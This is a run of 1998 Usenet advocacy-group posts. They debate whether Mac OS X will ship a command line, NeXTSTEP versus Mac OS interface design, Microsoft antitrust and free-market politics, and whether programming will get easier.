Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 2 Jul 1998 15:30:53 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6ng93d$9mt$1@sun27.hrz.tu-darmstadt.de>
References: <6ng2mk$erb$1@news.cmc.net>
devnull@occam.com (Leon von Stauber) wrote:
>A couple more points come up when you lose the command line:
>
>1) How do you run a system headless? Granted, it's not easy with
>NEXTSTEP and ilk, but it can be done, and then you'd still have
>full access to the system over the network. (Even to graphical
>apps, with NSHost.) Saves a lot of space in server rooms.
Oh, you don't need a command line for running a system headless,
there's always OpenSesame. But wait a minute, OpenSesame is
based on calling up a remote shell on the other system.. :-)
And they are taking away remote display capabilties anyway..
Let's face it, utilities like gzip, sh, tar, are all over the
place. And that's a good thing, too.
>And, of course, the big one already mentioned:
>
>3) Full UNIX-like remote admin capabilities on every box.
Absolutely. For a multiuser system, especially when we're
talking servers, you must have a terminal like capability.
See, the sad part is that MacOS X *must* not have a command
line - just think what the clueless media would make of it.
The horror! There's no bloody way they could put a command
line into MacOS X.
They have to solve a paradox here. I'm sure Apple will find a
solution, and it'll be interesting what this solution will
be. On possibility would be shipping the complete set of tools
(avoiding the U-word is another problem, but we've seen that
Apple is quite good at renaming :-) sans terminal. Voila, a
command-line-less system.
If, however, you open a connection on port 23... You could
even turn that off by default, and only enable it as part of the
'server software kit' (very much like Windows NT server is
basically a bunch of registry entries). Well, you get all the
goodies, but still can claim to have a system without any
ugly command lines and evil U-word incantations. And heck,
you _have_ a system that does not have a command line, as it
does not need any, it's merely an optional add-on for some
specific tasks that 90% of the users never need anyway.
I guess we could live with that.
Regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 2 Jul 1998 11:15:25 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net>
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In-Reply-To: <6nekto$j0g4@odie.mcleod.net>
On Wed, 1 Jul 1998, Michelle L. Buck wrote:
> Andy Bates wrote in message ...
> >In article <6n3g42$1nf$1@ndnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> >
> >> Michael Peck <mjpeck@nstar.net> wrote:
> >If it's any evidence, I have also found that your explanation of why
> >NextStep is superior to the Mac OS is lacking as well. You have been unable
> >to come up with any cogent evidence, instead using terms like "paradigm
> >shift" and saying that you have to use it for months before you "get it."
> >If you can't at least provide SOME objective evidence to support your
> >viewpoint, then your argument seems very weak indeed.
> >
> >And no, throwing abour insults like "your ignorance is your own punishment"
> >doens't help your case either.
>
> Left hand scrollers are demonstrably better
How so?
> Proportional scrollers are better
Yes. Mac OS 8.5 will have them. There are already numerous utilities to
address this deficiency in the Mac OS.
> Vertical movable menus use less screen space and are more easily read
They use less screen space, but partition the screen into an irregular
shape that ends up being _more_ wasteful than a menu bar.
For a menu system that might be better than both ways (but integrates
concepts from both) look at:
http://www.ews.uiuc.edu/~tokarek/rhapsody
> hide, quit, and print at the top level menu is better
Not in a menu bar.
> Tear off menus reduce need for tool bars
Various programs have given the Mac OS tear off menus. Mac OS 8.5
implements that into the OS.
> Rare modal dialogs are better
Yes. Too extensive a use of modal dialog boxes as in the Mac OS are bad.
This is being moved away from. In Rhapsody and in Mac OS X, modal dialogs
should be very rare.
> Resize, drag, and scroll WITH content saves time
If done right. I don't think that NeXTStep usually shows this behavior,
but it is very annoying to watch the window flash as you resize it in
Windows (resize an Internet Explorer window with a non-white background
picture).
There is already live scrolling in a lot of apps. There is live dragging
with some utilities (though I don't think this will make it into Mac OS
8.5).
> The ability to reposition or hide the windows of busy applications saves a
> lot of time spent waiting in MacOS
This is a multitasking issue (and a window server issue since Windows has
the same problem as the Mac OS despite its PMT).
> The Desktop metaphor in MacOS is just plain stupid and is not used like a
> desktop in any way. It could be better described as the white board
> metaphor and it is no good at that either.
NeXT doesn't appear to have anything like the desktop. I never much liked
NeXT's file browser. It wasn't horrible, but I prefer the Finder.
Anyway, why is the desktop metaphor as in the Mac OS "just plain stupid"?
> Every application in NeXTstep is customizable to the extent of adding,
> removing, rearranging, and changing windows, menus, panels, images, etc.
Resources/resource fork in the Mac OS.
> Icons are more expressive in NeXTstep
They're also freaking huge. NeXTStep was always run on large displays (at
least on black hardware). I do not want to use 48x48 pixel icons unless I
have at least a 1280x1024 screen (which I do not currently have). Even
then I think I'd rather have the smaller 32x32 icons (I have most of my
Finder windows in list view so I have 16x16 icons).
> Fonts on screen look better with NeXTstep
Antialiasing? Mac OS 8.5 soon and any of various utilities do this on the
Mac OS now.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B21AB.E6A26F64@nstar.net> <6ng3t9$t6d$1@news.cs.tu-berlin.de> <359B965F.9CB9BE4C@nstar.net>
In-Reply-To: <359B965F.9CB9BE4C@nstar.net>
From: not@my.address.net
Message-ID: <WrOm1.2170$24.12148671@news.itd.umich.edu>
Date: Thu, 02 Jul 1998 16:21:10 GMT
NNTP-Posting-Date: Thu, 02 Jul 1998 12:21:10 EDT
On 07/02/98, Michael Peck wrote:
quoting someone else ...
>>
>> The enforcement of applicable laws is not "government abuse". It
>> is quite clear that Microsoft has abused their power to deny competitors
>> access to the market. The question at hand is wether the abuse that
>> they have committed is in violation of current laws.
>
>No, that's definitely not the issue, unless you think like a lawyer.
>From a moral standpoint, that is anything but the issue. I wonder what
>Martin Luther King, Jr. would have said if you had told him that his
>stay in Birmingham jail was about whether or not he had broken any
>applicable laws. I would actually like to hear your response to this.
>
Microsoft's business practices are an act of civil disobedience? Gates is a
modern day Ghandi?
For a quick reality check:
(1) MLK's position was that civil disobedience could only be justified as a
means of last resort when no other lawful means of protest was available. Had
the democratic process been open to blacks in Birmingham, there would have been
no need to break the law. Microsoft can and does take full advantage of the
many avenues for lawful protest available to it. I can't think of a single
avenue for dissent in a democratic society that is not open to Microsoft.
(2) When you're engaged in an act of civil disobedience, the whole point is to
openly break the law, as in "I am breaking the law; come punish me accordingly."
I haven't heard that from Microsoft. If that is their position, please forward
me a reference as I know many interested parties that would like to see that
statement in print.
...
You seem to have an aversion to the legislative process and a reverential
attitude towards the common law. For example, you speak of legislation as being
"made up from thin air"; whereas common law is "proper jurisprudence" and "the
principle of law in this country". I find that a little bit odd. The common
law principles you appeal to were the product of a narrow propertied class that
operated with no democratic oversight. (It's very amusing to read, for example,
how common law courts invented torts "from thin air" to combat the threat of
unions as they saw it at the turn of the century; for example.) That doesn't
instill in me much confidence in the moral sanctity of common law principles
concerning the right to property. And that's why it's hard to keep reading your
repeated appeals to common law principles ("proper jurisprudence" and "the
principle of law in this country") as anything but naive. The democratic
process isn't perfect, but I'd rather take my chances with a well-structured
democracy, even when moral issues are at stake.
--
invert: umich.edu jdevlin
insert: shift "2"
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 3 Jul 1998 16:27:04 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6nj0oo$crc$2@lwnws01.ne.highway1.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de> <6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com> <6mtgg8$sts$1@nnrp1.dejanews.com> <SCOTT.98Jun29132022@slave.doubleu.com> <6n90m7$8b4$2@lwnws01.ne.highway1.com> <SCOTT.98Jul2225157@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote:
> In article <6n90m7$8b4$2@lwnws01.ne.highway1.com>,
> John Kheit <jkheit@mediaone.net> writes:
> That's interesting. See, you're a problem solver more than
> a programmer. At a certain point programming will become less
> important than the problem solving.
> No. NO. __NO__.
I'm sorry, then I didn't get your meaning.
> I very much expect we'll reach a point in the future where the
> "problem solving" that I do will be the end of it. I'll take
> the problem from a client, specify the problem to a suitable
> level of precision, and the computer will execute that specification
> itself.
I thought that was what I was getting at above.
> "Coding", which is what I think you're referring to, is already
> a relatively small part of most successful projects. IMHO,
> WRITING CODE IS NOT PROGRAMMING. Right now, though, writing code
> _is_ an essential part of programming,
I really thought that was what I was saying above, but perhaps I
wasn't being accurate enough as to the "now" and your current
situation. So if I have it right, correct me if I'm wrong, right
now writing code for you is a significant part of your job. That
act of "manufacturing" still eats up a good percentage of brain
sweat in conjunction with the general and valuable task of problem
definition and solving. If I got that right, then I guess all I'm
saying is once the bar of manufacturing goes down, more people will
be able to participate in the task pf problem definition and solving
because a practitioner will not be required to have as great a
level of sophistication in that aspect of the job.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@mediaone.net
Telepathy, It's coming... http://people.ne.mediaone.net/jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 2 Jul 1998 07:33:13 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6nfd3p$322$1@supernews.com>
References: <6n6a2e$21s$1@news.cmc.net> <6na31a$mt9$1@news.tuwien.ac.at>
<rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com>
<cdoutyEvFnxs.72s@netcom.com>
Mime-Version: 1.0
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Cc: cdouty@netcom.com
Chris Douty may or may not have said:
[snip]
-> Apple has the chance to be *the* Unix volume leader and they act
-> frightened by it.
And *that* is the most thrilling prospect I see from the whole Apple/NeXT
merger. I would *love* to be able to set up networks of thousands of hosts,
ranging from iMacs on the secretaries' desks to 8-way PPC machines with
4gigs of RAM for database servers, all running the same OS, offering the same
admin tools (both GUI and CLI), and all just as easy to administer as a
NetInfo networks has always been.
Now, if Steve and Larry would just commit to getting Oracle 8 on Rhapsody, I
wouldn't have to mess with Slowlaris at *all!*
-jcr
Mac OS X on the Big Iron! *That's what I want!*
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 03 Jul 1998 09:44:29 -0700
Organization: Digital Universe Corporation
Message-ID: <359D0A6D.E3CE5D63@alum.mit.edu>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com>
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NNTP-Posting-Date: 3 Jul 1998 16:46:46 GMT
Matthew Cromer wrote:
> And what is "society"? Obviously it is whatever the masters decide, that
> is what "society" has decided. Uh-huh. And the "free market" which you
> deride is, of course, what society actually decides, because the free
> market is the sum of interactions based on what people choose to do,
> whereas government is the sum of interactions based on making people do
> what they would rather not choose to do.
An unregulated free market is a distinct impossibility, at least on planet
Earth, simply due to the current state of human personality and nature. Because
people are certainly charitable when it comes to good causes does not mean that
a group of them in a company would willingly allow their competitors to win in a
business setting.
Yes, you're correct - the government sometimes does make people do what they
don't want to do. But if they didn't intervene, we'd surely be in a state of
chaos (or worse, in a state of Microsoft). Now, please don't confuse my point.
I think the need for government intervention grows as the number of people
involved increases, and shrinks in the opposite direction. For instance, the
need for regulation of large companies and large industries is much greater than
the need for regulation of individual people. Individual people should not be
subject to some of the government-induced horrors that we've grown accustomed to
(high tax rate, IRS abuses, unreasonable seizure laws, and so on). However, as
the number of people involved grows, certain steps should to be taken to make
sure that one group doesn't become powerful enough to be able to abuse the
liberties of another group.
Don't confuse this kind of regulation (i.e. the kind the government is trying to
enforce on Microsoft right now) with oppression. It is, in my opinion,
impossible to oppress a monopolistic entity.
Eric
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 3 Jul 1998 16:21:54 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6nj0f2$crc$1@lwnws01.ne.highway1.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de> <6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com> <6mtgg8$sts$1@nnrp1.dejanews.com> <SCOTT.98Jun29132022@slave.doubleu.com> <6n90m7$8b4$2@lwnws01.ne.highway1.com> <SCOTT.98Jul2225157@slave.doubleu.com> <SCOTT.98Jul2230751@slave.doubleu.com> <SCOTT.98Jul2233331@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote:
> Serendipity strikes: This week's Cringely column at
> http://www.pbs.org/cringely/text.html explicitely addresses my
> point:
I don't know how persuasive a cite to Cringely is on this; doesn't
seem like the greatest authority on the planet about the topic on
this. Quite honestly I respect your opinion much more Scott.
> So if we can say anything definitively about the application
> of technology, I'd say that it tends to improve manufacturing
> rather than creation. Writing is creation while printing is
> the manufacturing of what has already been written.
> That's _exactly_ what I'm saying. The act of manufacturing
> programs we write will get easier and easier in the future. The
> act of writing the programs will continue to take brain sweat
> proportional to the utility of the program, though,
I generally agree with you, but disagree to this extent. There's
a lot brain sweat that is expanded on manufacturing. It's not an
easy thing many times. There are tons of patents in all kinds of
manufacturing contexts and it takes sophistication to do it well,
either in the software or more general mechanical sense. Thus, by
removing that barier, you lower the bar for those without manufacturing
sophistication that do have sophistication in other problem solving
contexts. In that regard things do get easier across the board.
At least I think they do.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@mediaone.net
Telepathy, It's coming... http://people.ne.mediaone.net/jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Date: Fri, 03 Jul 1998 11:44:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-0307981144080001@elk62.dol.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <359CF499.F9350FEE@exu.ericsson.se>
In article <359CF499.F9350FEE@exu.ericsson.se>, Michael Peck
<eusmpec@exu.ericsson.se> wrote:
>
> Filed under "Joe Ragosta: ad hominem Hypocrisy". Hey, aren't I supposed
> to be in your killfile? What's going on, here? I shouldn't have to be
> putting up with this crap in the first place.
Yeah. I let my kill file put an expiration date in the hopes that some
people might grow up in a few months. It apparently didn't work in your
case.
Easily fixed.
*plonk*
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 3 Jul 1998 17:08:14 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6nj35u$fjc$1@lwnws01.ne.highway1.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <SCOTT.98Jun29125823@slave.doubleu.com> <6n8vma$8b4$1@lwnws01.ne.highway1.com> <SCOTT.98Jul2223820@slave.doubleu.com>
scott@doubleu.com (Scott Hess) wrote:
> In article <6n8vma$8b4$1@lwnws01.ne.highway1.com>,
> John Kheit <jkheit@mediaone.net> writes:
> This is a question of degree. Does *everyone*? No. Do some?
> Yes. So this ability allows many who previously were barred
> for one reason or another to practice and do what they earlier
> were not able.
> Hmm, well, the thread itself strongly implied "anyone" should be
> able to program. If the hurdle is only anyone who is interested
> in the field - well, we're already there.
Oh ok, then I'm sorry as I missunderstood the conversation and
context. I have a hard time forseeing any spud whatsoever doing
it. I have a hard time backing absolutes like "anyone." So in
that context I agree with you completely.
> Never say never. I gave an example of what people with
> pacemakers now do over the phone, which was once the domain
> of a surgeon performing invasive surgery. Weird things have
> a way of happening.
> Yet my point was that instead of finding a way to let "anyone"
> do the operation that previously was being done by an expert,
> instead they found a way to get the same results without requiring
> the original operation. Instead of making the end-user a surgeon,
> they removed the need for a surgeon from the problem.
I think this might become a bit of an argument on semantics. Is
the new person obtaining the same results as a surgeon in times
past now a surgeon? Well, clearly not by a modern definition.
But that person is doing work that at one time was the sole domain
of the surgeon. I see what you're saying, I'm just pointing out
that there's at least one other perspective from which this issue
can be viewed. And I'm not saying that I believe either or
completely. But the fact remains that this technology has now
allowed common folks to do what at one time only a surgeon could.
It allows them to do "Dr." type stuff when they are not, and to
understand the results themselves and make decisions. If they do
a battery check on their pacemaker and see it's still half charged,
they themselves can make the determination that in a month they
should go and get it replaced. They may be perfectly capable of
performing that analysis which at one time was in the sole domain
of the Dr. To some degree they have taken over the Dr. duties.
The duties are still the same, "check the pacemaker charge." But
now those duties are no longer part of a Dr.'s job description.
Yet once they were. The label of "this is an action to be performed
by a Dr." dances and changes to whom it's affixed with time, yet
the task stays constant. And in that regard, if you see what I'm
getting at, it can be a semantic type of argument.
> I know this is a tangent, but perhaps a more pertinent point for
> the thread is this: after typewriters and printed books, how many
> people could build a typewriter or bind a book? Very few.
No problem, this thread is "out there" for starters. :) Yes, you
are right, but the point I was getting at is that after typwriters
and printed books came out, definatly more people could do both.
Because the bar for a certain portion of the population was lowered
giving them access. I agree with you that not everyone could.
The amount that can or cannot is really factual and case by case
dependant. The number of people that will be able to participate
will depend upon the specific facts and is a matter of degree.
> Yes it is programming. It's what really sophisticated people
> were paid a lot of money for, and worked very hard to produce
> in the 60's. Now a monkey can do it.
> My point is, exactly, that what the "relative monkeys" are doing
> today is _not_ at all what the experts were doing in the 60's.
> The experts in the 60's weren't writing database access apps -
> they were writing databases. Now we're to the point where we
Again, this is semantics, and that may well be important, but just
hear out my point on this. Yes they were writing databases. They
were doing that because they had to. But they were not doing this
in a bubble just for the purpose of writing a database in no context.
They were doing it because some customer needed a particular database
app. But in that time, they not only had to think about the logic
of the database app, but they actually had to create a database to
run it on. Heck they may have even had to write an OS for the
database to run on. So the mechanical bar to getting to the "end"
that was sought by the customer was huge. Today, the customer
seeks the same end, but the sophistication of the people they need
to accomplish that goal is significantly lowered on the mechanical
end. Yet, they still need people that can do the database logic
very well. The point is that the mechanical bar on so many things
was lowered so many more can now participate.
> _Regardless_ of how beautiful and sophisticated the top layer is
> THERE MUST BE A LAYER BELOW IT! I'm not saying "I think there
> would be a layer below it." I'm saying that interfaces do not
> exist in a vacuum, they do not spontaneously form out of the
> ether. They are built.
Yes. But think about how people had to even write a database in
the 60's, jeez it may have been in assembly. Now it's in C or
something else. So even writing the lower layers has gotten easier
with time, and I think it will continue to do so.
> I'm making a distinction, here. I'm suggesting that programming
> is not defined as "solving a problem", but as "solving a problem
> with insight". These domains are as arithmetic to mathematics.
> Being able to tally your grocery bill doesn't require a mathematician.
> But understanding the relationships between the costs of the
> items on the bill might. [I know, that's a stretch.]
I see what you're getting at. But at one time doing simple
arithmetics made you a mathmitician. At one time, what we now
consider rudiments, was sophisticated (mainly I guess because of
the lack of schools and published works, etc.). Now the times have
changed, access to the knowledge has changed, and so have job
descriptions. Now people that are bad at arithmatic, but good with
calculators and high level concepts are free to become experts in
high math (believe me such people exist!). Everytime a mechanical
bar is lowered, it gives greater access to people.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@mediaone.net
Telepathy, It's coming... http://people.ne.mediaone.net/jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 03 Jul 1998 12:31:26 -0500
Organization: Ericsson North America Inc.
Message-ID: <359D156E.CE526220@exu.ericsson.se>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net> <6nit11$qoc$1@camel21.mindspring.com> <359D0A6D.E3CE5D63@alum.mit.edu>
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Eric Hermanson wrote:
>
> Matthew Cromer wrote:
> An unregulated free market is a distinct impossibility, at least on planet
> Earth, simply due to the current state of human personality and nature. Because
> people are certainly charitable when it comes to good causes does not mean that
> a group of them in a company would willingly allow their competitors to win in a
> business setting.
Why does this matter? Quite seriously, competition ensures stability.
Why do you say that the certain outcome of competition is *not*
competition? This doesn't make any sense to me. If I allow my
competitors to win, by definition, I am *not* a competitor.
> Yes, you're correct - the government sometimes does make people do what they
> don't want to do. But if they didn't intervene, we'd surely be in a state of
> chaos (or worse, in a state of Microsoft).
I hear this a lot. Honestly, I have never heard it explained just how
this chaos would come about as a result of free market competition. As
long as the two fundamental laws present in nearly every single society
known to man (do all that you say you will do, and do not encroach on
the person or property of your neighbor) are upheld, I see no reason to
believe in dire predictions of "chaos", especially since such
predictions have been given for justification of all manner of economic
tinkering, from Malthusian doctrines to the "Health Care Crisis" (in a
country with the world's best health care coverage).
> Now, please don't confuse my point.
> I think the need for government intervention grows as the number of people
> involved increases, and shrinks in the opposite direction. For instance, the
> need for regulation of large companies and large industries is much greater than
> the need for regulation of individual people. Individual people should not be
> subject to some of the government-induced horrors that we've grown accustomed to
> (high tax rate, IRS abuses, unreasonable seizure laws, and so on). However, as
> the number of people involved grows, certain steps should to be taken to make
> sure that one group doesn't become powerful enough to be able to abuse the
> liberties of another group.
How can a large company abuse my liberties without breaking one of the
two fundamental laws described above? The IRS can take my money and put
a gun to my head if I refuse to cooperate. The BATF can burn buildings
to the ground on suspicion of wrongdoing. The public school system can
imprison my children and subject them to sex education classes featuring
pornographic images and videotaped sex acts. The local constabulary can
stop my vehicle at any time I am driving for any reason, can forcibly
stop me if I refuse to myself, can search my person or my vehicle on the
barking of a dog, and can revoke my license to drive at will.
Abuse of liberty, Mr. Hermanson? You say Microsoft is abusing your
liberty? How?
Abusing liberties requires *FORCE*, Mr. Hermanson. As far as I know,
Microsoft has no right to wield guns, imprison you, remove you from your
home, walk on your personal property, or beat you into physical
submission. As far as I know, Microsoft has no right to manacle you,
force you to testify against yourself in an audit, force you to appear
in court, or to require of you that you pay for a lawyer when conducting
business relations. As far as I know, Microsoft has no right to tax the
things you buy, to restrict your ability to buy those things, or to
restrict your ability to speak freely when you buy those things.
> Don't confuse this kind of regulation (i.e. the kind the government is trying to
> enforce on Microsoft right now) with oppression. It is, in my opinion,
> impossible to oppress a monopolistic entity.
It is, in my opinion, impossible to govern without oppressing.
MJP
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 3 Jul 1998 13:07:46 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6nil32$n4d$1@supernews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <SCOTT.98Jun29125823@slave.doubleu.com>
<6n8vma$8b4$1@lwnws01.ne.highway1.com> <slrn6pihqq.rei.sal@panix3.panix.com>
<6nc44r$aqu$2@lwnws01.ne.highway1.com> <6nd3dl$d2h$1@sun27.hrz.tu-darmstadt.de>
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Cc: scott@doubleu.com
Scott Hess may or may not have said:
-> In article <6nd3dl$d2h$1@sun27.hrz.tu-darmstadt.de>,
-> Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
-> Nobody forces me do read a Web page, that's true. However,
-> popularity of the Web and the Internet in general has affected -
-> actually, I'm tempted to say "poisoned" - other communities as
-> well. For instance, USENET used to be a valuable source of
-> information. It used to be a friendly place. There's way too much
-> vinegar around these days, and I'd rather do without that, Thank
-> You Very Much Sir.
->
-> USENET used to be even more than that - it used to be a technocratic
-> club, with membership restricted only by your ability to join. In
-> other words, if you didn't understand how to join, or weren't close
-> friends with someone who did understand, you couldn't get into the
-> clubhouse. To a great degree, it self-policed. Regardless of whether
-> you _liked_ the other guy, you could at least usually trust that he
-> had something on the ball (and thus was worth talking to).
And then, Jerry Pournelle got on the net. Sure, he got kicked off, but that
was a chilling harbinger of things to come. USENET was on the decline *long*
before the AOL/Prodigy/MSN lusers showed up.
-jcr
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 3 Jul 1998 15:23:13 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6nit11$qoc$1@camel21.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <359BF904.AB972774@exu.ericsson.se> <6nh663$o1q$1@news.cs.tu-berlin.de> <joe.ragosta-0207981946550001@elk59.dol.net>
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In article <6nh663$o1q$1@news.cs.tu-berlin.de> Marcel Weiher,
marcel@cs.tu-berlin.de writes:
>Not in a democracy it doesn't. The free market is subordinate to
>society, not the other way around.
>
And what is "society"? Obviously it is whatever the masters decide, that
is what "society" has decided. Uh-huh. And the "free market" which you
deride is, of course, what society actually decides, because the free
market is the sum of interactions based on what people choose to do,
whereas government is the sum of interactions based on making people do
what they would rather not choose to do.
Matthew Cromer
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998070312530900.IAA28087@ladder03.news.aol.com>
Date: 3 Jul 1998 12:53:09 GMT
Organization: AOL http://www.aol.com
References: <6nht9l$iio$1@lwnws01.ne.highway1.com>
The importance of the better aspects of the NeXT UI in this thread is this:
Apple states on their web pages that those aspects of the NeXT interface which
represent a clear advantage (or some such, paraphrase mine), will be adopted
into the Mac OS Human/user experience.
One of the conclusions which may be drawn from this thread's discussions and
the alterations made in the Rhapsody UI is that there's an unstated assumption
there as well--something alongs the lines of:
if they do not conflict with existing Mac user expectations/norms.
To my mind this greatly dilutes the synergy which they might've otherwise had.
Three also seems to be an element of: if it doesn't seem to be pulled from the
Windows UI as well, thus the soft rounded corners and doing away with the very
elegant x/broken x close box. Changing this complicates and clutters the UI to
my mind and presents the possibility for confusion.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dbl8ut.1f4p7iv11unjiN@dialup116-3-50.swipnet.se>
